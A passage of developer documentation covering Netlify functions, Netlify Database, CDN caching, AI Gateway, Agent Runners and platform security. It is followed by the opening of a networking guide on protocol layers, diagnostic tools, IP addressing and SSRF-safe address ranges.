  node_bundler = "esbuild"

Timeouts & long-running work

Function limits are fixed and uniform across all plans (they are not configurable — the old 10s-free / 26s-Pro tiering is gone):

Function type Execution limit How to opt in
Synchronous (default) 60 seconds default
Background 15 minutes -background suffix on the file/dir name; returns 202 immediately, response body ignored
Scheduled (cron) 30 seconds export const config = { schedule: "@hourly" } — runs on published deploys only, UTC cron

Background and scheduled functions are the escape hatch for work that exceeds 60s (e.g. Daraja STK Push polling, batch AI inference): persist the result to Netlify Blobs or Postgres and read it back from a synchronous function.

Gotcha: Edge vs Serverless

Reach for the right runtime — they are not interchangeable:

flowchart TD
  A["Incoming request"] --> B{"Needs Node APIs<br/>or npm packages?"}
  B -->|"Yes"| C["Serverless function<br/>netlify/functions"]
  B -->|"No · just rewrite<br/>headers or geo"| D{"Must run<br/>at the edge?"}
  D -->|"Yes · low latency"| E["Edge function<br/>netlify/edge-functions"]
  D -->|"No"| C
  C --> F["Regional Node runtime"]
  E --> G["Deno runtime<br/>at CDN edge"]

Edge functions run on Deno at the CDN edge (no full Node API, no node_modules bundling), so M-Pesa/Daraja calls, raw Postgres drivers like pg, and Node-only SDKs belong in serverless functions. Use edge functions only for fast request manipulation (auth gates, redirects, geo, A/B) close to the user.

Exception — @netlify/database. getDatabase() picks a connector suited to its runtime, so it does work in edge functions where a raw pg client would not. A lightweight lookup at the edge (feature flag, tenant routing, session check) is therefore fair game; keep heavier transactional work, which needs db.pool, in serverless functions. See Netlify Database below.


Netlify Database

Netlify Database is a fully managed Postgres database built into the platform. Netlify provisions it, applies migrations, and branches it for you. It is built on Neon (serverless Postgres) under the hood, but the setup and management surface is entirely Netlify's — you never interact with Neon directly, and there is no separate Neon account to link.

The headline feature is database branching. Production deploys are the only deploys allowed to touch the production database; every deploy preview gets its own isolated branch, seeded with a copy of production data taken when the preview is first created. Schema changes and data mutations made in a preview never reach production, and a bad branch can simply be reset.

flowchart TD
  A["git push"] --> B{"Production<br/>or PR?"}
  B -->|"main branch"| C["Production deploy"]
  B -->|"pull request"| D["Deploy preview"]
  C --> E["Migrations applied<br/>just before publish"]
  E --> F[("Production<br/>database")]
  D --> G["New DB branch<br/>copy of prod data"]
  G --> H["Migrations applied<br/>before preview is live"]
  H --> I[("Preview branch<br/>isolated")]
  I -.->|"reset or discard<br/>no prod impact"| G

This is the same safety model Deploy Previews gave your code, extended to your data — which is also why each Agent Runner run gets its own branch: an agent can rewrite the schema and delete rows without any risk to the live site.

When to reach for it

Situation Pick
App already hosted on Netlify, wants Postgres with zero setup Netlify Database
Need per-preview isolated data for PRs or agent runs Netlify Database (branching is the differentiator)
Need row-level security tied to an auth provider, storage, realtime Supabase (see supabase/)
Need Postgres decoupled from the host, or used from Vercel Neon directly (see neon/)
Key/value or unstructured blobs, not relational data Netlify Blobs

Prerequisites

Setup

The fastest path on an existing project is the interactive initialiser:

netlify database init          # interactive
netlify database init --yes    # non-interactive (CI / AI agents)

It installs @netlify/database, lets you pick a query style (raw SQL or Drizzle ORM), scaffolds a starter migration, optionally seeds sample data, and verifies the database is reachable.

To wire it up manually instead:

npm install @netlify/database

Then write your first migration under netlify/database/migrations/, add a function that queries it, and deploy — Netlify provisions the database and applies the migration as part of the deploy lifecycle.

Gotcha — provisioning is triggered by the package. If @netlify/database is not installed in the project, Netlify will not auto-provision a database. Either install it, or create the database by hand in the UI under Data & Storage → Database.

Querying with @netlify/database

getDatabase() returns a client already configured for wherever the code is running — it selects a different underlying connector for builds and long-running servers than it does for Functions and Edge Functions. That is why it works in an edge function, where a raw pg client would not.

import { getDatabase } from "@netlify/database";

const db = getDatabase();

// Tagged template — interpolated values are ALWAYS parameterized (no SQL injection)
const userId = 42;
const users = await db.sql`SELECT * FROM users WHERE id = ${userId}`;

// Type the returned rows
interface User { id: number; name: string; email: string }
const typed = await db.sql<User>`SELECT id, name, email FROM users`;

// Stream large result sets instead of buffering them
for await (const chunk of db.sql`SELECT * FROM orders`.chunked(100)) {
  console.log(`Processing ${chunk.length} rows`);
}

The sql tagged template is based on Waddler. A SQLTemplate is thenable and also exposes execute(), stream(), chunked(size), and toSQL() (returns the SQL string + params without running it — handy for debugging).

Helpers on db.sql:

Helper Purpose
sql.identifier(v) Safely quote a dynamic table/column name
sql.values(rows) Build a bulk VALUES list from a 2-D array
sql.default The SQL DEFAULT keyword, for inserts
sql.raw(v) Inject an unparameterized fragment — bypasses injection protection
sql.unsafe(q, params?) Run a raw query string with positional $1 params

Security: sql.raw() is the one escape hatch that will happily interpolate attacker-controlled input into SQL. Never pass user input to it — use sql.identifier() for dynamic table/column names and ordinary ${} interpolation for values.

Transactions

db.sql does not pin a connection, so BEGIN/COMMIT must run on a single client from the pool. db.pool is a standard pg.Pool:

import { getDatabase } from "@netlify/database";

const db = getDatabase();
const client = await db.pool.connect();

try {
  await client.query("BEGIN");
  await client.query("INSERT INTO users (name, email) VALUES ($1, $2)", ["Ada", "ada@example.com"]);
  await client.query("INSERT INTO posts (author_id, title) VALUES ($1, $2)", [1, "First post"]);
  await client.query("COMMIT");
} catch (e) {
  await client.query("ROLLBACK");
  throw e;
} finally {
  client.release();   // always release, or the pool leaks connections
}

Migrations

Migrations live in netlify/database/migrations/ — either as flat .sql files or as one subdirectory per migration containing migration.sql:

netlify/database/migrations/
├── 20260301143000_create_users.sql
├── 20260318091500_add_posts.sql
└── 20260425103000_create_comments.sql

Names must match <number>_<slug>: digits setting the order, then a slug of lowercase letters, digits, hyphens, and underscores. Migrations are sorted lexicographically, which is why timestamp prefixes are safer than hand-numbered ones once more than one person (or agent) is adding them.

Netlify applies them automatically:

Because they run immediately before the new code goes live, the window where old code meets a new schema is small — but it is not zero. Write backwards-compatible migrations. For breaking changes use the expand-and-contract pattern: add the new column alongside the old and write to both, backfill, then drop the old one in a later migration.

Gotcha — the directory is magic. Anything in netlify/database/migrations/ is auto-applied. If you bring your own migration tool (Prisma Migrate, Atlas, raw scripts), point it at a different directory or Netlify will run those files too.

CLI reference

Every command takes --json for structured output, which is what makes this surface agent-friendly:

netlify database status                    # enabled? package installed? applied + pending migrations
netlify database status --branch my-feat   # target a remote branch instead of local
netlify database status --show-credentials # include the full connection string

netlify database connect                             # interactive SQL REPL
netlify database connect --query "SELECT * FROM users"
netlify database connect --json                      # print connection details as JSON

netlify database migrations new --description "add users table" --scheme timestamp
netlify database migrations apply            # apply pending migrations locally
netlify database migrations apply --to 0003  # apply up to a specific migration
netlify database migrations pull             # overwrite local files from a remote branch
netlify database migrations reset            # delete local, unapplied migration files

netlify database reset                       # wipe the LOCAL dev database only

netlify database reset and netlify database migrations reset only ever touch the local development database — they cannot damage production or a preview branch.

Local development

netlify dev starts a real Postgres-compatible database on your machine and shuts it down with the dev server — there is no Docker container or local Postgres install to manage:

netlify dev
netlify database migrations apply     # the local DB does NOT auto-apply migrations

Vite projects can get the same emulated environment without netlify dev by adding @netlify/vite-plugin. Both use the same engine, so data and migrations are interchangeable between them.

Connect any Postgres tool (psql, TablePlus, DataGrip) while it runs:

psql "$(netlify database connect --json | jq -r .connection_string)"

For integration tests, @netlify/database-dev exposes the emulator as a library (new NetlifyDB() → start() / applyMigrations(dir) / stop()), defaulting to in-memory on a random port. Use @netlify/dev when a test needs the whole Netlify runtime, not just the database.

Differences from production worth knowing: it is a single local process (not a load-testing target), branching is a deploy-time concept so locally there is exactly one database, and auto-scale/sleep settings do not apply.

Bringing your own driver or ORM

The connection string is available two ways — getConnectionString() from @netlify/database, or the NETLIFY_DB_URL environment variable, which is injected into builds, agent runners, functions, and edge functions.

import { getConnectionString } from "@netlify/database";
import pg from "pg";

const pool = new pg.Pool({ connectionString: getConnectionString() });
const { rows } = await pool.query("SELECT * FROM users");

Drizzle ORM has a native adapter. Install from the beta tag (these become 1.0 shortly and carry a better migration format), and point Drizzle Kit's output at Netlify's migrations directory or the automatic runner will never see them:

npm install @netlify/database drizzle-orm@beta
npm install -D drizzle-kit@beta
// drizzle.config.ts
export default defineConfig({
  dialect: "postgresql",
  schema: "./db/schema.ts",
  out: "netlify/database/migrations",   // ← not the default "drizzle"
});
// db/index.ts — the connection is configured automatically
import { drizzle } from "drizzle-orm/netlify-db";
import * as schema from "./schema";

export const db = drizzle({ schema });

Scaling, sleep, and cost

Compute is metered in database compute units — one unit = 25% of a vCPU + 1 GB RAM. Auto-scale sets a min/max the database moves between; sleep on inactivity (default: after 5 minutes idle) pauses it so an idle database stops consuming credits.

Meter Cost
Database compute 10 credits per compute unit
Database bandwidth (data out) 20 credits per GB
Storage Free until 1 July 2026, then billed at rates announced in advance

Selected plan limits (the full table is in the billing docs):

Limit Free Personal Pro Enterprise
Databases per account 3 5 50 500
Branches per database 20 100 300 450
Max compute units 1 4 16 32
Max sleep-on-inactivity 5 min 5 min Always on Always on
Storage per database 5 GB 100 GB 100 GB No limit
Bandwidth per billing period 5 GB 100 GB 100 GB No limit

REST API

All endpoints are site-scoped, rooted at https://api.netlify.com/api/v1, and authenticate via OAuth 2:

Endpoint Purpose
POST / GET /sites/{site_id}/database Create or read the database (returns connection_string)
POST /sites/{site_id}/database/branch Create a branch for a deploy_id
GET / DELETE /sites/{site_id}/database/branch/{deploy_id} Read or delete a deploy's branch
POST /sites/{site_id}/database/snapshot Point-in-time snapshot (defaults to production)
GET /sites/{site_id}/database/snapshots List snapshots
POST /sites/{site_id}/database/snapshot/{id}/restore Restore a snapshot to a branch

codeAmani notes


Edge Network

Every deploy is published to Netlify's global edge network — a CDN with atomic deploys: a deploy either goes live completely or not at all, and publishing automatically invalidates the cache for changed content. There is no manual purge step in the normal workflow.

Cache-control headers

Netlify honours three cache-control fields, most specific wins:

Header Applies to Precedence
Netlify-CDN-Cache-Control Netlify's CDN only Highest
CDN-Cache-Control Any CDN that supports it Middle
Cache-Control Browsers and CDNs Lowest (fallback)

Use Netlify-CDN-Cache-Control to cache aggressively at the edge while keeping browsers on a short leash:

return new Response(body, {
  headers: {
    "Netlify-CDN-Cache-Control": "public, durable, s-maxage=86400, stale-while-revalidate=604800",
    "Cache-Control": "public, max-age=0, must-revalidate",   // browser always revalidates
  },
});

Two directives are worth knowing:

Cache key variation with Netlify-Vary

Netlify-Vary controls what makes a request a different cache entry — finer-grained than the standard Vary header:

Netlify-Vary: query=page|per_page, country=ke|us, language=en|sw, cookie=is_logged_in
Instruction Varies on
query / query=a|b All query params, or only the listed ones
header=X|Y Named request headers
language=en|sw Accept-Language, honouring quality values
country=ke|us Geo-IP country
cookie=key Named cookies

Rules that bite:

High-Performance Edge (Enterprise)

An Enterprise-only upgrade to the standard network: 70+ global points of presence with dynamic PoP adjustment, a dedicated Site Reliability Engineer, 24×7×365 incident response, and proactive DDoS protection. Netlify quotes up to 50% faster than their standard network (and up to 300% faster than a traditional monolith). Relevant only if a client is on Enterprise — the standard edge is what codeAmani projects actually run on.

codeAmani notes


AI Gateway

AI Gateway lets project code call OpenAI, Anthropic, Google Gemini, OpenRouter, and TypeSafe AI models with no API keys of your own. Netlify injects both the API key and a provider-specific base URL into every compute context, proxies the call, and bills the token usage to your Netlify credits.

How it works

When a Function or Edge Function initialises, Netlify sets these — but never overrides a value you have already set at project or team level:

Provider Injected variables
OpenAI OPENAI_API_KEY, OPENAI_BASE_URL
Anthropic ANTHROPIC_API_KEY, ANTHROPIC_BASE_URL
Google Gemini GEMINI_API_KEY, GOOGLE_GEMINI_BASE_URL
OpenRouter OPENROUTER_API_KEY, OPENROUTER_BASE_URL
TypeSafe AI TYPESAFE_API_KEY, TYPESAFE_BASE_URL

NETLIFY_AI_GATEWAY_KEY and NETLIFY_AI_GATEWAY_URL are always injected and never collide with the above — use them when you deliberately mix your own keys with Netlify's, or want to be explicit about which path a call takes.

Because the official SDKs read these variables by default, the code is just the SDK with no configuration:

// netlify/functions/summarise.ts
import Anthropic from "@anthropic-ai/sdk";
import type { Config, Context } from "@netlify/functions";

// No apiKey argument — ANTHROPIC_API_KEY and ANTHROPIC_BASE_URL are injected.
const anthropic = new Anthropic();

export default async (req: Request, context: Context) => {
  const { text } = await req.json();

  const message = await anthropic.messages.create({
    model: "claude-sonnet-4-5-20250929",
    max_tokens: 1024,
    messages: [{ role: "user", content: `Summarise in two sentences:\n\n${text}` }],
  });

  return Response.json({ summary: message.content });
};

export const config: Config = { path: "/api/summarise" };

Framework server code (Next.js, Astro, Nuxt, TanStack Start, …) is packaged into Functions at build time, so the same variables are available there with no extra setup. The OpenRouter SDK needs v1.2.43 or later.

Requirements and gotchas

Cost and rate limits

Token usage is converted to USD at published provider rates, then to credits: $1 USD of model usage = 180 credits. Rate limits are per minute, per team, across all projects:

Plan Credits / minute
Free 90
Personal 450
Pro 1,800
Enterprise 9,000

Current limitations: context window capped at 200k tokens; Anthropic prompt caching is limited to the default 5-minute ephemeral cache; Gemini explicit context caching is unsupported; request headers are not passed through (so header-gated experimental features are unavailable); no batch inference; no OpenAI priority processing.

codeAmani notes


Agent Runners

Agent Runners run a coding agent inside Netlify's infrastructure, prompted from the dashboard (or a phone) rather than a local terminal. The agent gets the project's repo, environment variables, build settings, and deploy pipeline, and ships its work to a deploy preview for review.

Supported agents: Claude Code, OpenAI Codex, Google Gemini, and OpenCode. Each run's model and reasoning effort are configurable per agent, and those settings are a personal preference — they do not apply team-wide. OpenCode is served via OpenRouter and Netlify routes only to providers with a Zero Data Retention policy; the other three run on their vendors' own models.

Available on credit-based plans (Free, Personal, Pro); Enterprise teams go through their account manager.

flowchart LR
  A["Prompt from<br/>dashboard or phone"] --> B["Agent run<br/>Claude Code / Codex / Gemini / OpenCode"]
  B --> C["Own database branch<br/>+ deploy preview"]
  C --> D{"Review"}
  D -->|"Approve"| E["Publish to production"]
  D -->|"Reject"| F["Discard — production untouched"]

The pairing with Netlify Database is the point: every run gets its own database branch, so an agent can add tables, write migrations, and mutate data with no path to production until a human publishes.

Good fits: well-defined backlog items, broken links and redirects, copy and content updates from non-engineers, landing/404/maintenance pages, scaffolding a platform primitive, and on-the-go fixes. Poor fits: anything needing deep local iteration, a debugger, or judgement about architecture.

codeAmani notes


Observability

Analytics & metrics → Observability gives near-real-time visibility into production: requests, bandwidth, runtime behaviour, Functions, and Edge Functions. It answers "what is actually happening on the site right now", and it replaces Function Metrics on credit-based plans.

Retention depends on plan:

Plan Time window
Free / Personal Past 24 hours
Pro Past 7 days
Enterprise Past 30 days

Quick actions apply pre-built filter sets across three axes:

Axis Answers
Traffic Top URLs, top 404s, top URLs with errors, client types, top AI-crawler searches, browser-only traffic
Bandwidth Bandwidth by URL, by client type, by content type
Compute Most-invoked functions, slowest URLs, which clients drive function usage

The rest of the monitoring surface sits alongside it:

Tool Use
Log drains Stream deploy/function/traffic logs to an external sink (Datadog, S3, …)
Logs Per-deploy and per-function logs in the dashboard
Real User Monitoring Field performance data from actual visitors
Lighthouse Scores generated as part of the build
Notifications Deploy/build events to Slack, email, or webhooks
Split testing Branch-based A/B at the edge

Observability does not show credit usage. Spend lives under billing — monitor usage for credit-based plans. Two different questions, two different screens.

codeAmani notes


Security

Netlify's security surface splits into three areas: access to your sites, access to Netlify itself, and platform-level protections.

Secure access to sites

Control What it does
Password protection Single shared password on a site or deploy preview
Project visibility Public / private project listings
Firewall traffic rules Allow or block by IP address or geography
Rate limiting rules Per-visitor request caps (use these in front of AI Gateway functions)
Web Application Firewall Managed rule sets against common attack traffic
Role-based access control Per-role permissions on site access
Basic auth via custom headers Credentials enforced at the edge

Secure access to Netlify

SAML SSO through an identity provider, SCIM directory sync for provisioning, enforced 2FA, role-based access control, and the Secrets Controller — an enhanced policy for the most sensitive environment variables that blocks them from being exposed in builds and adds secret scanning. Netlify also scans deploys for leaked secrets and can fail the build when it finds one.

Platform protections

Proactive DDoS monitoring with automatic detection, rate limiting, and client blocking; global load balancing; AES-256 (or stronger) encryption at rest; TLS 1.2+ in transit; Content Security Policy support; log drains; and Private Connectivity for Enterprise. Enterprise teams also get a Security Scorecard that grades the team's posture.

Compliance

SOC 2 Type 2 and ISO 27001 reports, PCI DSS, GDPR and CCPA — current details live at the Netlify trust center.

Careful — platform PCI DSS does not extend to Netlify Database. The hosting platform carries PCI DSS, but Database Services are explicitly not PCI-DSS certified and are not HIPAA-eligible by default. Hosting a payment page on Netlify is fine; writing cardholder data into Netlify Database is not. See the Netlify Database compliance notes.

codeAmani notes


Common Use Cases

Use Case Approach
Deploy on merge GitHub Actions + netlify deploy --prod
Preview URLs for PRs netlify deploy (no --prod) in PR workflow
Edge function auth netlify/edge-functions/ directory
Form submissions Netlify Forms + MCP netlify-project-services-reader
Environment management MCP netlify-project-services-updater / CLI env:set
Extension management MCP netlify-extension-services-updater
Relational data Netlify Database — netlify database init, query via @netlify/database
Safe schema changes Migrations in netlify/database/migrations/, auto-applied per deploy
Isolated data per PR Deploy previews get their own DB branch automatically — no setup
Local DB for dev/tests netlify dev (bundled Postgres) or @netlify/database-dev in tests
LLM calls without keys AI Gateway — official SDK with no apiKey, billed to Netlify credits
Agent-driven small fixes Agent Runners from the dashboard; each run gets its own DB branch + preview
Fast pages on 2G/3G Netlify-CDN-Cache-Control: durable, stale-while-revalidate=...
Per-country cached pages Netlify-Vary: country=ke|us instead of uncached personalisation
Find slow / erroring routes Observability → Quick actions → Compute or Traffic insights
Cap per-visitor AI spend Rate limiting rules on the function that calls AI Gateway

Troubleshooting

Issue Fix
netlify: command not found npm install -g netlify-cli
Not linked to a site Run netlify link in project root
Build fails in CI Check NETLIFY_AUTH_TOKEN and NETLIFY_SITE_ID secrets
Edge function not triggering Verify config.path matches the route
Function hits the 60s timeout Timeout is fixed (not configurable) — move long work to a background (-background) or scheduled function
No database provisioned on deploy @netlify/database must be installed, or create it manually under Data & Storage → Database
netlify database command not found Needs Netlify CLI ≥ 26.0.0 and Node ≥ 20.12.2 — npm install -g netlify-cli
Drizzle migrations never run Set out: "netlify/database/migrations" in drizzle.config.ts (default drizzle dir is ignored)
Local queries hit an empty schema The local DB does not auto-migrate — run netlify database migrations apply
First request after idle is slow Sleep-on-inactivity (5 min default); Pro/Enterprise can set the database always-on
AI Gateway vars missing / OPENAI_BASE_URL undefined Needs a credit-based plan and at least one production deploy
AI calls bypass the Gateway unexpectedly You set that provider's key yourself — Netlify never overrides it; unset it or use NETLIFY_AI_GATEWAY_*
AI Gateway 429s Team-wide per-minute credit limit (Free 90 / Personal 450 / Pro 1,800); add rate-limiting rules
Netlify-Vary seems ignored First response cached for that URL wins; also unsupported under basic auth and On-demand Builders
Stale content after deploy Atomic deploys auto-invalidate — check for a manual durable policy or an upstream CDN (Cloudflare)
Observability data has vanished Retention is 24h on Free/Personal, 7d Pro, 30d Enterprise — use log drains to keep history

netlify.toml example:

[build]
  command = "npm run build"
  publish = "dist"

[functions]
  node_bundler = "esbuild"

[[edge_functions]]
  path = "/api/*"
  function = "auth"

Official docs:

Networking Integration Guide

Technology: networking · Category: tooling · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/networking

Insight:

Networking is the layer every codeAmani deploy silently depends on and nobody owns: a name resolves, a socket opens, a certificate validates, bytes move. Almost all of it is someone else's infrastructure (DNS caches you cannot flush, CAs you do not run, middleboxes you cannot see), so the practical skill is diagnosis, not construction. In 2026 the defaults moved under us. Certificates now live 200 days at most and are heading to 47. Vercel serves WebSockets from Node.js Functions and is retiring the Edge runtime. Vercel is still IPv4-only and does not advertise HTTP/3, so the "HTTP/3 everywhere" assumption only holds behind Cloudflare. Get DNS and TLS right and the Porkbun → Cloudflare → Vercel path is boring; get them wrong and every other layer reports a lie.

███╗   ██╗███████╗████████╗██╗    ██╗ ██████╗ ██████╗ ██╗  ██╗██╗███╗   ██╗ ██████╗
████╗  ██║██╔════╝╚══██╔══╝██║    ██║██╔═══██╗██╔══██╗██║ ██╔╝██║████╗  ██║██╔════╝
██╔██╗ ██║█████╗     ██║   ██║ █╗ ██║██║   ██║██████╔╝█████╔╝ ██║██╔██╗ ██║██║  ███╗
██║╚██╗██║██╔══╝     ██║   ██║███╗██║██║   ██║██╔══██╗██╔═██╗ ██║██║╚██╗██║██║   ██║
██║ ╚████║███████╗   ██║   ╚███╔███╔╝╚██████╔╝██║  ██║██║  ██╗██║██║ ╚████║╚██████╔╝
╚═╝  ╚═══╝╚══════╝   ╚═╝    ╚══╝╚══╝  ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝╚═╝  ╚═══╝ ╚═════╝

Networking Integration Guide

Focus: The working model of TCP/IP, addressing, DNS, TLS and HTTP/1.1–3 that an application developer needs, plus the long-lived connection patterns (WebSockets, SSE), CORS, local tunnels, WSL networking, the diagnostic commands that prove which layer is failing, and the defensive posture for network-layer risk (open ports, weak TLS, DNS hijacking, SSRF, MITM).

Overview

This is a topic guide, not an SDK. The three npm packages in the frontmatter are the ones the runnable examples use: undici for the SSRF-safe fetch, and ws with @vercel/functions for WebSockets on Vercel. The real deliverable is a mental model plus a toolbox. Reach for it when:

Two models describe the same stack. The OSI seven-layer model is the vocabulary (people say "layer 7" and "layer 4"). The TCP/IP four-layer model is what actually ships. Talk in OSI terms and debug in TCP/IP terms.

TCP/IP layer OSI layers What lives here What breaks
Link 1–2 Physical, Data Link Ethernet, Wi-Fi, MAC addresses, ARP / NDP Cable/radio, MTU, local LAN only
Internet 3 Network IPv4/IPv6, ICMP, routing, NAT Wrong route, firewall drop, no IPv6 path
Transport 4 Transport TCP (ordered, reliable), UDP (datagrams; QUIC runs on it) Port closed, RST, SYN timeout
Application 5–7 Session, Presentation, Application DNS, TLS, HTTP/1.1, HTTP/2, HTTP/3, WebSocket Bad record, expired cert, 4xx/5xx
flowchart LR
  A["Browser<br/>https://app.example.com"] --> B["DNS resolve<br/>A / AAAA / CNAME / HTTPS"]
  B --> C["TCP :443<br/>or QUIC over UDP :443"]
  C --> D["TLS 1.3 handshake<br/>SNI (or ECH) · ALPN · cert chain"]
  D --> E{"ALPN negotiated"}
  E -->|"h2"| F["HTTP/2<br/>multiplexed over one TCP conn"]
  E -->|"h3"| G["HTTP/3<br/>multiplexed over QUIC streams"]
  E -->|"http/1.1"| H["HTTP/1.1<br/>one request in flight per conn"]
  F --> I["CDN / edge PoP"]
  G --> I
  H --> I
  I -->|"cache HIT"| J["Response from edge"]
  I -->|"cache MISS"| K["Origin<br/>Vercel Function (Node.js) · Supabase · Neon"]

A request can fail at every arrow in that diagram, and each failure has its own symptom. The rest of this guide walks them in order.

What changed since the last review (2026-08-23 → 2026-10-20)

Area Was Now
Vercel IPv6 Guide said Vercel publishes AAAA for you Wrong. Vercel docs: "we do not support IPv6 yet". You cannot point an AAAA record at Vercel
Vercel HTTP/3 Guide said "Vercel serves HTTP/3 by default" Not documented, and not advertised. Vercel's encryption docs list TLS 1.2/1.3 only, and vercel.com sends no Alt-Svc header (checked 2026-10-20). Cloudflare offers HTTP/3 on every plan
Vercel realtime No WebSockets on Functions; use a third-party service WebSockets on Vercel Functions, public beta (2026-06-22). Requires Fluid compute. Next.js uses upgradeWebSocket() from @vercel/functions ≥ 3.10.0
Vercel Edge runtime A normal option Vercel recommends migrating from edge to Node.js, and from Next.js 16.3 runtime = 'edge' is no longer supported. Both run on Fluid compute with Active CPU pricing
Cert lifetimes 398 days max CA/B Forum SC-081: 200 days max from 2026-03-15, 100 from 2027-03-15, 47 from 2029-03-15. Let's Encrypt classic profile: 64 days from 2027-02-10, 45 days from 2028-02-16
SNI privacy SNI is always cleartext ECH is RFC 9849 (March 2026). Vercel enables it automatically, and browsers use it when the domain's HTTPS DNS record carries the config
TLS key exchange Classical ECDHE Post-quantum hybrid X25519MLKEM768 is offered by Vercel and Cloudflare and negotiated by current Chrome, Firefox and Safari
Standards RFC 8499 (DNS terms), RFC 7489 (DMARC), OWASP A10:2021 SSRF RFC 9499 obsoletes 8499. RFC 9989 (May 2026, Standards Track) obsoletes 7489. OWASP Top 10:2025 folds SSRF into A01 Broken Access Control
WSL Not covered Mirrored networking mode (networkingMode=mirrored, Windows 11 22H2+)
Tunnels One line about ngrok ngrok, Cloudflare Tunnel and Tailscale Serve/Funnel compared, with free-tier limits

Official Documentation

Resource URL
MDN — HTTP overview https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Overview
MDN — Transport Layer Security https://developer.mozilla.org/en-US/docs/Web/Security/Transport_Layer_Security
MDN — CORS https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CORS
MDN — Using server-sent events https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events
MDN — WebSocket API https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API
RFC 9293 — TCP https://www.rfc-editor.org/rfc/rfc9293
RFC 1035 — DNS https://www.rfc-editor.org/rfc/rfc1035
RFC 9499 — DNS terminology (obsoletes 8499) https://www.rfc-editor.org/rfc/rfc9499
RFC 8446 — TLS 1.3 https://www.rfc-editor.org/rfc/rfc8446
RFC 9849 — TLS Encrypted Client Hello https://www.rfc-editor.org/rfc/rfc9849
RFC 9110 — HTTP semantics https://www.rfc-editor.org/rfc/rfc9110
RFC 9113 — HTTP/2 https://www.rfc-editor.org/rfc/rfc9113
RFC 9000 — QUIC https://www.rfc-editor.org/rfc/rfc9000
RFC 9114 — HTTP/3 https://www.rfc-editor.org/rfc/rfc9114
RFC 6455 — WebSocket protocol https://www.rfc-editor.org/rfc/rfc6455
RFC 9460 — SVCB / HTTPS records https://www.rfc-editor.org/rfc/rfc9460
RFC 8659 — CAA https://www.rfc-editor.org/rfc/rfc8659
IANA — Service names and port numbers https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml
OWASP — SSRF prevention cheat sheet https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
Mozilla SSL Configuration Generator https://ssl-config.mozilla.org/
Vercel — WebSockets https://vercel.com/docs/functions/websockets
Vercel — Encryption and TLS https://vercel.com/docs/cdn-security/encryption
Vercel — Troubleshooting domains (IPv6, CAA) https://vercel.com/docs/domains/troubleshooting
Microsoft — WSL networking https://learn.microsoft.com/en-us/windows/wsl/networking
Cloudflare — Quick Tunnels https://developers.cloudflare.com/cloudflare-one/networks/connectors/cloudflare-tunnel/do-more-with-tunnels/trycloudflare/
ngrok — Free plan limits https://ngrok.com/docs/pricing-limits/free-plan-limits
Tailscale — Funnel https://tailscale.com/kb/1223/funnel
BIND 9 manpages (dig) https://bind9.readthedocs.io/en/latest/manpages.html
curl manual https://curl.se/docs/manpage.html

Setup — the diagnostics toolbox

Install the tools first. Every section below assumes you have them.

# Debian / Ubuntu / WSL
sudo apt update && sudo apt install -y dnsutils curl iproute2 net-tools traceroute mtr-tiny nmap openssl

# macOS (Homebrew): dig comes from the bind formula; the OpenSSL formula is openssl@3
brew install bind curl nmap openssl@3 mtr
# Windows: nslookup, tracert and netstat ship with the OS.
# The PowerShell equivalents give richer output and are easier to script:
Resolve-DnsName tech-stack.codeamanilabs.org -Type A
Test-NetConnection tech-stack.codeamanilabs.org -Port 443
Get-NetTCPConnection -State Listen | Sort-Object LocalPort

Tool versions checked on 2026-10-20: curl 8.23.0, Homebrew bind 9.20.29, openssl@3 3.5.9, mtr 0.96, cloudflared 2026.10.2, Tailscale 1.104.1, ngrok agent 3.39.11.

Pinned npm versions for the TypeScript examples (all type-checked with tsc --strict):

npm i undici@8.12.3 ws@8.22.0 @vercel/functions@3.10.1
npm i -D typescript@7.0.2 @types/node@26.6.5 @types/ws@8.18.2

Non-secret settings the examples read. These are not credentials, so they belong in your env config, not the secrets vault:

Setting Example value Used by
APP_ORIGIN https://app.example.com examples/ws-route.ts Origin check
Outbound host allowlist api.stripe.com, api.safaricom.co.ke, sandbox.safaricom.co.ke examples/safe-fetch.ts (allowHosts)

Installing nmap is fine. Running it is not automatically fine. See Scanning, authorized only.


IP addressing, CIDR, subnets, NAT, IPv6

An IPv4 address is 32 bits (203.0.113.10). An IPv6 address is 128 bits (2001:db8::1). CIDR notation (RFC 4632) adds a prefix length: the first N bits are the network, and the rest identify hosts inside it.

CIDR Netmask Usable IPv4 hosts Typical use
/32 255.255.255.255 1 A single host: firewall rules, allowlists
/24 255.255.255.0 254 One small subnet / VPC subnet
/16 255.255.0.0 65,534 A VPC
/8 255.0.0.0 16,777,214 10.0.0.0/8 private space
/0 0.0.0.0 everything Default route; "any source" in a security group

Every IPv4 subnet has two addresses you cannot give to hosts: the all-zeros network address and the all-ones broadcast address. That is why a /24 has 254 usable hosts, not 256. IPv6 has no broadcast, and the standard LAN subnet is a /64.

Ranges that must never be reachable from user input

An SSRF guard denies these ranges. Learn them; they come back in the security section and in examples/safe-fetch.ts.

Range RFC Meaning
10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 RFC 1918 Private IPv4
127.0.0.0/8, ::1/128 RFC 1122 / 4291 Loopback
169.254.0.0/16, fe80::/10 RFC 3927 / 4291 Link-local. Includes 169.254.169.254, the cloud metadata endpoint
100.64.0.0/10 RFC 6598 Carrier-grade NAT shared space
fc00::/7 RFC 4193 IPv6 unique local addresses
64:ff9b::/96 RFC 6052 NAT64 well-known prefix, which can embed a private IPv4 address
0.0.0.0/8 RFC 1122 "This network". 0.0.0.0 often reaches localhost

NAT and CGNAT

Network Address Translation lets many private addresses share one public address. The NAT device rewrites the source IP and port and keeps a translation table. Three consequences matter to application code:

IPv6: who actually serves it

Layer IPv6? Source
Vercel (custom domains) No. You can create an AAAA record in Vercel DNS, but "we do not support IPv6 yet", so you cannot point an AAAA at Vercel vercel.com/docs/domains/troubleshooting#ipv6-support
Cloudflare (proxied records) Yes, on by default. Only Enterprise can turn it off developers.cloudflare.com/network/ipv6-compatibility
WSL 2 Only in mirrored networking mode learn.microsoft.com/windows/wsl/networking

